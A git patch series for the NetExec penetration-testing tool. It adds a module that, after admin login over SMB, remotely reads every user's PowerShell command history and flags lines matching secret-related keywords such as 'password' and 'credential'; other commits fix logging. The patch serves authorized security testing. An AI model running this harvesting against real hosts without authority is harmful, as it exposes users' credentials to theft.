From bfed3d462b3bdf6c3ab4d16e21f5472036faaf46 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?S=C3=A9bastien=20Miguel?= <43112303+357384n@users.noreply.github.com> Date: Mon, 10 Jun 2024 17:21:25 +0200 Subject: [PATCH 01/14] Create powershell_history.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit First commit Signed-off-by: Sébastien Miguel <43112303+357384n@users.noreply.github.com> --- nxc/modules/powershell_history.py | 70 +++++++++++++++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 nxc/modules/powershell_history.py diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py new file mode 100644 index 00000000..26879f98 --- /dev/null +++ b/nxc/modules/powershell_history.py @@ -0,0 +1,70 @@ +import traceback +from impacket.examples.secretsdump import RemoteOperations + +class NXCModule: + """Module by @357384n""" + + name = "powershell_history" + description = "Extracts PowerShell history for all users and looks for sensitive commands." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def options(self, context, module_options): + """Define module options.""" + pass + + def execute_command(self, connection, command): + """Execute a command on the remote system and return the output.""" + output = connection.execute(command, True) + return output + + def get_powershell_history(self, connection): + """Get the PowerShell history for all users.""" + history_paths_command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' + try: + history_output = self.execute_command(connection, history_paths_command) + return history_output.split('\n') + except Exception as e: + raise Exception(f"Could not retrieve PowerShell history: {e}") + + def analyze_history(self, history): + """Analyze PowerShell history for sensitive information.""" + sensitive_keywords = [ + "password", "passwd", "secret", "credential", "key", + "get-credential", "convertto-securestring", "set-localuser", + "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", + "invoke-webrequest", "invoke-restmethod" + ] + sensitive_commands = [] + for command in history: + command_lower = command.lower() + if any(keyword.lower() in command_lower for keyword in sensitive_keywords): + sensitive_commands.append(command.strip()) + return sensitive_commands + + def on_admin_login(self, context, connection): + """Main function to retrieve and analyze PowerShell history.""" + try: + context.log.info("Retrieving PowerShell history...") + history = self.get_powershell_history(connection) + if history: + sensitive_commands = self.analyze_history(history) + if sensitive_commands: + context.log.highlight("Sensitive commands found in PowerShell history:") + for command in sensitive_commands: + context.log.highlight(f" {command}") + else: + context.log.info("No sensitive commands found in PowerShell history.") + else: + context.log.info("No PowerShell history found.") + + # Write history to file in current directory + with open("powershell_history.txt", "w") as file: + for cmd in history: + file.write(cmd + "\n") + print("History written to powershell_history.txt") + + except Exception as e: + context.log.fail(f"UNEXPECTED ERROR: {e}") + context.log.debug(traceback.format_exc()) From 1105dcdf527aff8e72f906f4a132f24ce9912522 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?S=C3=A9bastien=20Miguel?= <43112303+357384n@users.noreply.github.com> Date: Tue, 11 Jun 2024 08:14:07 +0200 Subject: [PATCH 02/14] Update powershell_history.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add export feature and some keywords Signed-off-by: Sébastien Miguel <43112303+357384n@users.noreply.github.com> --- nxc/modules/powershell_history.py | 28 +++++++++++++++++++--------- 1 file changed, 19 insertions(+), 9 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 26879f98..c9003756 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -11,8 +11,10 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """Define module options.""" - pass + """Export all the history with -o export=enable""" + context.log.info(f"Received module options: {module_options}") + self.export = module_options.get('EXPORT', 'disable').lower() + context.log.info(f"Option export set to: {self.export}") def execute_command(self, connection, command): """Execute a command on the remote system and return the output.""" @@ -34,7 +36,7 @@ class NXCModule: "password", "passwd", "secret", "credential", "key", "get-credential", "convertto-securestring", "set-localuser", "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", - "invoke-webrequest", "invoke-restmethod" + "invoke-webrequest", "invoke-restmethod", "pass" ] sensitive_commands = [] for command in history: @@ -58,12 +60,20 @@ class NXCModule: context.log.info("No sensitive commands found in PowerShell history.") else: context.log.info("No PowerShell history found.") - - # Write history to file in current directory - with open("powershell_history.txt", "w") as file: - for cmd in history: - file.write(cmd + "\n") - print("History written to powershell_history.txt") + + # Check if export is enabled + context.log.info(f"Export option is set to: {self.export}") + if self.export == 'enable': + host = connection.host # Assuming 'host' contains the target IP or hostname + filename = f"{host}.powershell_history.txt" + context.log.info(f"Export enabled, writing history to {filename}") + try: + with open(filename, "w") as file: + for cmd in history: + file.write(cmd + "\n") + context.log.info(f"History written to {filename}") + except Exception as e: + context.log.fail(f"Failed to write history to {filename}: {e}") except Exception as e: context.log.fail(f"UNEXPECTED ERROR: {e}") From 8132bf73d3901f7f545ef45e479d522ce3be8a1a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?S=C3=A9bastien=20Miguel?= <43112303+357384n@users.noreply.github.com> Date: Tue, 11 Jun 2024 08:19:04 +0200 Subject: [PATCH 03/14] Update powershell_history.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add the path to output file in the output Signed-off-by: Sébastien Miguel <43112303+357384n@users.noreply.github.com> --- nxc/modules/powershell_history.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index c9003756..7cea0eb2 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -11,7 +11,7 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """Export all the history with -o export=enable""" + """Define module options.""" context.log.info(f"Received module options: {module_options}") self.export = module_options.get('EXPORT', 'disable').lower() context.log.info(f"Option export set to: {self.export}") @@ -36,7 +36,7 @@ class NXCModule: "password", "passwd", "secret", "credential", "key", "get-credential", "convertto-securestring", "set-localuser", "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", - "invoke-webrequest", "invoke-restmethod", "pass" + "invoke-webrequest", "invoke-restmethod" ] sensitive_commands = [] for command in history: @@ -72,6 +72,9 @@ class NXCModule: for cmd in history: file.write(cmd + "\n") context.log.info(f"History written to {filename}") + # Print the full path to the file + full_path = os.path.abspath(filename) + print(f"PowerShell history written to: {full_path}") except Exception as e: context.log.fail(f"Failed to write history to {filename}: {e}") From 5ccf0d35539f3b7aff50b1f2639416656023bca0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?S=C3=A9bastien=20Miguel?= <43112303+357384n@users.noreply.github.com> Date: Tue, 11 Jun 2024 08:21:20 +0200 Subject: [PATCH 04/14] Update powershell_history.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit add description to module option Signed-off-by: Sébastien Miguel <43112303+357384n@users.noreply.github.com> --- nxc/modules/powershell_history.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 7cea0eb2..b646725f 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -1,4 +1,5 @@ import traceback +import os from impacket.examples.secretsdump import RemoteOperations class NXCModule: @@ -11,7 +12,7 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """Define module options.""" + """To export all the history you can add the following option: -o export=enable""" context.log.info(f"Received module options: {module_options}") self.export = module_options.get('EXPORT', 'disable').lower() context.log.info(f"Option export set to: {self.export}") From ee9409a3875f345c84113f054c5e30d71e582794 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 24 Aug 2024 08:50:48 -0400 Subject: [PATCH 05/14] Revert 0ca3c43 as this stops some messages from getting logged to file --- nxc/logger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/logger.py b/nxc/logger.py index caa05e5d..6fd15fee 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -30,7 +30,7 @@ def setup_debug_logging(): root_logger.setLevel(logging.INFO) elif debug_args.debug: nxc_logger.logger.setLevel(logging.DEBUG) - root_logger.setLevel(logging.INFO) + root_logger.setLevel(logging.DEBUG) else: nxc_logger.logger.setLevel(logging.ERROR) root_logger.setLevel(logging.ERROR) From cd9e1adcfdca0f7f14bf825b5f2f00f1167a8128 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 25 Aug 2024 09:46:12 -0400 Subject: [PATCH 06/14] Delete log level filter for file logging --- nxc/logger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/logger.py b/nxc/logger.py index 6fd15fee..f9792451 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -163,7 +163,7 @@ class NXCAdapter(logging.LoggerAdapter): If debug or info logging is not enabled, we still want display/success/fail logged to the file specified, so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers) """ - if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers + if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers try: for handler in self.logger.handlers: handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None)) From cea324c97b2c64e13f674259047a274a8e69c263 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Sep 2024 16:40:04 -0400 Subject: [PATCH 07/14] Fix escape sequence --- nxc/modules/hyperv-host.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/hyperv-host.py b/nxc/modules/hyperv-host.py index cde252c5..185eaab4 100644 --- a/nxc/modules/hyperv-host.py +++ b/nxc/modules/hyperv-host.py @@ -22,7 +22,7 @@ class NXCModule: def on_admin_login(self, context, connection): self.context = context - path = "SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters" + path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters" key = "HostName" try: From 6dbf14b87f35590250ed5a895d794f8d40c66066 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 19 Sep 2024 16:55:35 -0400 Subject: [PATCH 08/14] Fix maq module if ms-DS-MachineAccountQuota is not set --- nxc/modules/maq.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/nxc/modules/maq.py b/nxc/modules/maq.py index 6ea5d44e..00e19628 100644 --- a/nxc/modules/maq.py +++ b/nxc/modules/maq.py @@ -1,3 +1,5 @@ +from pyasn1.error import PyAsn1Error + class NXCModule: """ @@ -21,9 +23,10 @@ class NXCModule: multiple_hosts = False def on_login(self, context, connection): - result = [] context.log.display("Getting the MachineAccountQuota") - searchFilter = "(objectClass=*)" - attributes = ["ms-DS-MachineAccountQuota"] - result = connection.search(searchFilter, attributes) - context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0]) + result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"]) + try: + maq = result[0]["attributes"][0]["vals"][0] + context.log.highlight(f"MachineAccountQuota: {maq}") + except PyAsn1Error: + context.log.highlight("MachineAccountQuota: ") From 1b4081e54c09f668bc7ff0de8ed07e882afa0ca0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 21 Sep 2024 08:54:09 -0400 Subject: [PATCH 09/14] Simplify code and formatting --- nxc/modules/powershell_history.py | 23 +++++------------------ 1 file changed, 5 insertions(+), 18 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index b646725f..22f52060 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -1,6 +1,6 @@ import traceback import os -from impacket.examples.secretsdump import RemoteOperations + class NXCModule: """Module by @357384n""" @@ -14,23 +14,9 @@ class NXCModule: def options(self, context, module_options): """To export all the history you can add the following option: -o export=enable""" context.log.info(f"Received module options: {module_options}") - self.export = module_options.get('EXPORT', 'disable').lower() + self.export = module_options.get("EXPORT", "disable").lower() context.log.info(f"Option export set to: {self.export}") - def execute_command(self, connection, command): - """Execute a command on the remote system and return the output.""" - output = connection.execute(command, True) - return output - - def get_powershell_history(self, connection): - """Get the PowerShell history for all users.""" - history_paths_command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' - try: - history_output = self.execute_command(connection, history_paths_command) - return history_output.split('\n') - except Exception as e: - raise Exception(f"Could not retrieve PowerShell history: {e}") - def analyze_history(self, history): """Analyze PowerShell history for sensitive information.""" sensitive_keywords = [ @@ -50,7 +36,8 @@ class NXCModule: """Main function to retrieve and analyze PowerShell history.""" try: context.log.info("Retrieving PowerShell history...") - history = self.get_powershell_history(connection) + command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' + history = connection.execute(command, True).split("\n") if history: sensitive_commands = self.analyze_history(history) if sensitive_commands: @@ -64,7 +51,7 @@ class NXCModule: # Check if export is enabled context.log.info(f"Export option is set to: {self.export}") - if self.export == 'enable': + if self.export == "enable": host = connection.host # Assuming 'host' contains the target IP or hostname filename = f"{host}.powershell_history.txt" context.log.info(f"Export enabled, writing history to {filename}") From bb95e0faa4e22d114c85c1daf15601bc1e680005 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 21 Sep 2024 08:55:02 -0400 Subject: [PATCH 10/14] Add "passw" as keyword --- nxc/modules/powershell_history.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 22f52060..7597dfa6 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -20,7 +20,7 @@ class NXCModule: def analyze_history(self, history): """Analyze PowerShell history for sensitive information.""" sensitive_keywords = [ - "password", "passwd", "secret", "credential", "key", + "password", "passwd", "passw", "secret", "credential", "key", "get-credential", "convertto-securestring", "set-localuser", "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", "invoke-webrequest", "invoke-restmethod" From 5da577f5c3433ceb0c11b543176e70b3e8e7c58b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 21 Sep 2024 09:06:13 -0400 Subject: [PATCH 11/14] Optimise export code --- nxc/modules/powershell_history.py | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 7597dfa6..6f712ebf 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -1,5 +1,7 @@ import traceback -import os +from os import makedirs +from os.path import join, abspath +from nxc.paths import NXC_PATH class NXCModule: @@ -12,9 +14,9 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """To export all the history you can add the following option: -o export=enable""" + """To export all the history you can add the following option: -o export=True""" context.log.info(f"Received module options: {module_options}") - self.export = module_options.get("EXPORT", "disable").lower() + self.export = bool(module_options.get("EXPORT", False)) context.log.info(f"Option export set to: {self.export}") def analyze_history(self, history): @@ -51,18 +53,19 @@ class NXCModule: # Check if export is enabled context.log.info(f"Export option is set to: {self.export}") - if self.export == "enable": + if self.export: host = connection.host # Assuming 'host' contains the target IP or hostname - filename = f"{host}.powershell_history.txt" - context.log.info(f"Export enabled, writing history to {filename}") + filename = f"{host}_powershell_history.txt" + export_path = join(NXC_PATH, "modules", "powershell_history") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + + context.log.info(f"Export enabled, writing history to {path}") try: - with open(filename, "w") as file: + with open(path, "w") as file: for cmd in history: file.write(cmd + "\n") - context.log.info(f"History written to {filename}") - # Print the full path to the file - full_path = os.path.abspath(filename) - print(f"PowerShell history written to: {full_path}") + context.log.highlight(f"PowerShell history written to: {path}") except Exception as e: context.log.fail(f"Failed to write history to {filename}: {e}") From 31b909b97dca2781805615f42ce0765e79c4fe19 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 21 Sep 2024 09:11:29 -0400 Subject: [PATCH 12/14] Check if there is a history before saving --- nxc/modules/powershell_history.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 6f712ebf..79de46a5 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -53,7 +53,7 @@ class NXCModule: # Check if export is enabled context.log.info(f"Export option is set to: {self.export}") - if self.export: + if self.export and history: host = connection.host # Assuming 'host' contains the target IP or hostname filename = f"{host}_powershell_history.txt" export_path = join(NXC_PATH, "modules", "powershell_history") @@ -68,7 +68,6 @@ class NXCModule: context.log.highlight(f"PowerShell history written to: {path}") except Exception as e: context.log.fail(f"Failed to write history to {filename}: {e}") - except Exception as e: context.log.fail(f"UNEXPECTED ERROR: {e}") context.log.debug(traceback.format_exc()) From f47ebb3356995a5764b72e089526508daaa19ccf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 28 Sep 2024 07:13:02 -0400 Subject: [PATCH 13/14] Add file&line number to debug file log --- nxc/logger.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nxc/logger.py b/nxc/logger.py index f9792451..f551a273 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -163,15 +163,16 @@ class NXCAdapter(logging.LoggerAdapter): If debug or info logging is not enabled, we still want display/success/fail logged to the file specified, so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers) """ + caller_frame = inspect.currentframe().f_back.f_back.f_back if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers try: for handler in self.logger.handlers: - handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None)) + handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None)) except Exception as e: self.logger.fail(f"Issue while trying to custom print handler: {e}") def add_file_log(self, log_file=None): - file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s") + file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") output_file = self.init_log_file() if log_file is None else log_file file_creation = False From ff194d3e0b0fa64ddaacfb8d65edd8f7cd7dc92f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 28 Sep 2024 07:29:05 -0400 Subject: [PATCH 14/14] Remove hardcoded nxc_path --- nxc/logger.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/logger.py b/nxc/logger.py index f551a273..acacfcd4 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -5,6 +5,7 @@ import os.path import sys import re from nxc.console import nxc_console +from nxc.paths import NXC_PATH from termcolor import colored from datetime import datetime from rich.text import Text @@ -194,11 +195,10 @@ class NXCAdapter(logging.LoggerAdapter): @staticmethod def init_log_file(): - newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d") - if not os.path.exists(newpath): - os.makedirs(newpath) + newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d") + os.makedirs(newpath, exist_ok=True) return os.path.join( - os.path.expanduser("~/.nxc"), + NXC_PATH, "logs", datetime.now().strftime("%Y-%m-%d"), f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",